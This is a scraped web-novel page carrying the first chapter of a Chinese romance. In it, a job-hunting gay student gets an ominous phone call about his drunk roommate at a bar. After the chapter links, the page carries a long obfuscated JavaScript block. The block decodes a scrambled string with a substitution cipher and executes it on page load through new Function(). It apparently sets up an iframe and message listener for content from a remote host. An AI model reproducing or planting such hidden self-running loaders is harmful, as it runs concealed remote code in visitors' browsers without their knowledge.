返回

反派恋爱准则

首页
关灯
护眼
字体:
001群魔乱舞
( )秋招痛苦症,又名当代大学生的九月癌。主要病因是资历不足、学历不够、竞争对手太多太优秀。通常会导致大学生心情郁结,智力低下,身体劳累。更不幸的是,此病无药可救。

樊景琪便是晚期患者之一,刚结束完面试的他,拎着不新鲜的菜,独自走在街上,脑海中不断回想起自己面试时说错话的丢脸场面。

哎……为什么科学家不发明携带式地缝,好让人随时躲进去呢。

叹出不知是第几口气后,樊景琪站在出租屋的门口,在口袋里摸索着钥匙。暗红色的防盗门自内部推开,伴随着老化的吱呀声,门后走出一名长相周正的男生。

“哟!回来啦。”男生顶着一头惹眼的亮棕色头发,被站在门口的樊景琪吓了一跳,又迅速回过神。衣服穿得流里流气,满身琐碎叮当作响。

樊景琪点点头:“嗯。”

男生搂过樊景琪的脖子,把人扯进屋里:“今天面试怎么样?”

“还可以吧。”如果忽视掉HR那些令人无法回答的问题,樊景琪在心里默默补充。

“那就好。”男生在塑料袋里扒拉了半天,见没有能直接送进嘴里的食物,随手还给了樊景琪,“今天房东来收房租,我先帮你垫好了。等你找到工作再说。”

“谢谢你,嘉源。”樊景琪感激道。

贺嘉源摆了摆手,笑嘻嘻地锤了他肩膀一拳说:“跟我还客气!先走了啊。”

樊景琪朝他点头示意。房门发出嘭地声音,贺嘉源离开了。

厨房内,水龙头哗哗作响,骨节分明的手在下面来回搓洗着西红柿。

两人合租竟然住出种豪华单间的感觉,樊景琪笑了笑,不过对于他来说,从宿舍搬出来不好的一点——便是无论多忙多累都需要自己动手做饭。

如果能住在宿舍里,吃着便宜食堂,能省一些是一些。只可惜事与愿违,大学生活在最开始便是一团糟,樊景琪与贺嘉源是最早被孤立的二人。只不过自己是因为家境贫寒,没能和周围同学步调一致;而贺嘉源是因为仗着家里有两个小钱,便经常去酒吧玩耍,生活作息乱七八糟,遭人诟病。

宿舍其他四人看他俩不顺眼,慢慢地,见了面连基本的客套都懒得应付。

直到大二的某一天,樊景琪做完家教回宿舍,自己床上满是脚印,贺嘉源一脸红肿坐在边上,其余人站在阳台看到樊景琪回来,眼里满是嫌恶。

怎么回事。樊景琪一头雾水,朝自己的床位走去。

“呵呵,”贺嘉源叼着烟,朝他樊景琪挤出个笑容,“回来啦?”他的两只手别自己的腰后,从床上蹭了下去。

樊景琪瞥了一眼,顿时明白了。

贺嘉源注意到他的视线,叹了口气从身后拿出那本被扯得乱七八糟的型男杂志,“抱歉兄弟,今晚咱俩出去住吧。”

这句话成了导火线,点燃了蹲在阳台的室友。男生捂着脑门站起来大吼:“滚出去!跟你睡一个屋子真恶心!”

贺嘉源把烟扔地上,回吼道:“去你妈的,闭嘴!”

樊景琪默不作声地接过杂志。肯定是在他们打架时,被自己藏在床下的杂志掉了出来,上面的图片瞬间出卖了他的性向。室友们的情绪他能理解,不过贺嘉源的反应倒是令樊景琪惊讶。

喷人的室友想要冲出来再打一次,却被其他人摁下,那人见揍不到贺嘉源,就拿脾气好的樊景琪出气:“滚!死给!”。

樊景琪:“……”

贺嘉源:“我去,你有本事再说一遍?”樊景琪拦住冲动的贺嘉源,忙带着他收拾行李。二人背上背包,站在宿舍楼下,路过的其他男生看着他俩,又进入大楼。

一时硬气倒没什么,可如果未来三年都要在外面住,可是一笔不小的开销。樊景琪茫然地看着宿舍楼。

贺嘉源点了根烟,拍着樊景琪的肩膀:“兄弟,我害了你,找地儿住这件事,包我身上。”

樊景琪没报多大希望,只是顺从地点点头。

贺嘉源人脉广,两个人在网吧窝了两天一夜,他便找好了一间位置价钱都合适的房子住。

从那晚的出去后,到现在大四他们都没进过宿舍大门。一晃便过去了两年的时光。

毕业时总伴有离别会,曾经的室友衣冠楚楚过来敬酒赔不是,对方的态度比之前缓和许多,或许是时间的磨砺让人变得成熟,让人们忘却昔日的荒唐。

樊景琪和他们说话,而贺嘉源理都不理那四个,还告诉樊景琪做人不要太软弱,阳关独木各走各的最好。

得饶人处且饶人,樊琪景一直奉行这种概念生活,即便是对方有多少对不起,在他这里总能干戈化玉帛。

不记仇可能是自己唯一的优点,能把这条写进简历里吗。樊景琪这样想着,把做好的炒饭端进屋内,边搜寻下一个合适的公司边吃饭。

找工作这种事情说简单很简单,说难也很难。好工作看不上你,你看不上坏工作。而且,想要在一二线城市混出名堂,单凭现在的樊景琪肯定是不可能的。

吃完饭洗过碗,樊景琪抱起洗衣篮踢踏着拖鞋开始做家务。他分出外衣内衣,顺便发现了一双不属于自己的袜子。

樊景琪内心生出嫌恶,把它丢到一边,同时脑海中冒出贺嘉源离开前说的话,既然人家帮自己付了一半的房租,那帮忙洗个袜子又怎样。他强忍不适,把贺嘉源的脏袜子干洗净晒好。

九点三十分,樊景琪把整间屋子打扫得一尘不染,给自己冲了杯速溶咖啡,钻进房里看书做题。手底下辅导的高中生马上要参加月考,樊景琪将近三年本市的月考题能搜到的都搜了出来,顺便打印订好,在上面划出重点题型,攒出一套卷子。带的学生补了整整一个暑假的课,说什么也得让他在开学第一次月考中取得好成绩。

不到十点,手机铃声响起,樊景琪在稿纸上标了个记号,把手机放在耳边:“喂?”

“宝贝儿!我在苹果酒吧,你要不要来!”贺嘉源的吼声在听筒中传来。

樊景琪抬头看了一眼电子表,心想今天醉得真快,嘴上说道:“不了,你好好玩。”

贺嘉源不依不饶,继续劝说:“我刚认识一gay,还是高富帅,和你特般配!你来见一面嘛!”

樊景琪简直无语,喝多了的贺嘉源嘴上根本没把门的,什么都往外秃噜,前段时间不过是随口聊到想低调找个男朋友的困难,没想到今天他就把自己给推销了,“谢谢,我明天还有面试,你自己开心啊。”

“樊景琪!”贺嘉源语气变得不耐烦起来,“哥们真心给你介绍呢,我把你照片给他看了,他表示对你很感兴趣。”

樊景琪被大大咧咧的贺嘉源给逼疯了,把朋友的照片给刚认识的人看也就你能干的出来,本着不和醉鬼吵架的想法他耐心回道:“我还有工作要做,你自己玩好不好?”

“不好!你不来就是和我绝交!”贺嘉源咆哮,背景音十分嘈杂,像是有其他人在起哄。

樊景琪头大,他不是没陪贺嘉源出去玩过。那厮不止一次保证肯定会在十二点前回过家,但从没实现过,耽误过一次课后自己就长记性了。

樊景琪被话筒那边的噪音炸得耳朵痛,只好哄道:“你结束时给我打电话,我去接你可以吗?”

询问的话语结束,却没得到对方回复的胡搅蛮缠,樊景琪把手机移到眼前确认没有挂断后,喂了两声:“贺嘉源,你在听吗?”

“喂。”

樊景琪愣住,手机那端传出了从未听过的男声。

“这个电话的主人喝多了,你不需要过来,我会送他回家。”男声低沉冷淡,语气中暗藏着股不容人拒绝的霸道。

樊景琪问:“你是谁?”

那头男人停顿两秒,说:“你不需要知道我是谁,就这样,挂了。”

“等等——!”

介于博览杰克苏,樊景琪脑海中立刻浮现出一名身穿西装,头发用发胶捋到后脑勺去的精英男士,正手执长鞭抽打着眼泪汪汪的贺嘉源。为了朋友!为了剧情!“男二”樊景琪在此刻理应穷追猛打:“贺嘉源呢?”

贺嘉源的声音听起来距离这个人很远,非常模糊地在后方喊了句“要命啊”。

那男人烦躁地咂舌,在樊景琪的耳中却是被人撞破好事的不爽:“有人看着他。”

“你把电话还给贺嘉源,我马上去酒吧把他带走。”樊景琪的口气也十分坚定。

男人深吸了一口气,像是在压抑着怒火,喊了声“贺嘉源”,复又接道:“人呢?”

噔噔噔,樊景琪脑袋里冒出一连串问号。对方也像是找不到贺嘉源了似的,连着问了好几次贺嘉源去哪了。樊景琪用草稿纸演算函数题,耳朵从手机这边听到对方像是在酒吧逛了一圈,最后走到背景音安静的位置,男人说:“人丢了,他还有别的手机吗?”

樊景琪的心思彻底不在习题上了:“没有,你……”

“那你准备给他收尸吧。”那男人说完,便截断了通讯。

收尸?不善的口气让樊景琪皱眉,这应该是骗自己的玩笑吧,明明贺嘉源刚还在和自己说话,怎么会突然变得这么严肃。樊景琪把这通电话归结为贺嘉源联合新朋友骗自己的闹剧,拿起滚到一边的油性笔,继续勾题。

两分钟后——

樊景琪把笔帽扣紧,合上了册子。

根本看不下去!脑子里不断盘旋着“收尸”两个字,再者说,那个人的语气根本不像是在开玩笑。

樊景琪叹了口气,终究还是放心不下,该着是欠贺嘉源的。他换掉家居服,抓起门口的钥匙朝楼下跑。

虽知贺嘉源是苹果酒吧的常客,但要真出个意外……啊呸呸呸,樊景琪一边叫车一边替贺嘉源祈祷,跟人开房也不能出事啊。

滴——!

电梯升到19楼,冰冷的银色大门缓缓打开,樊景琪看着自己的鞋面,忽然觉得鼻头发酸,还没等反应过来眼眶内兀自滚出了泪珠。

好好地干嘛哭啊……

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();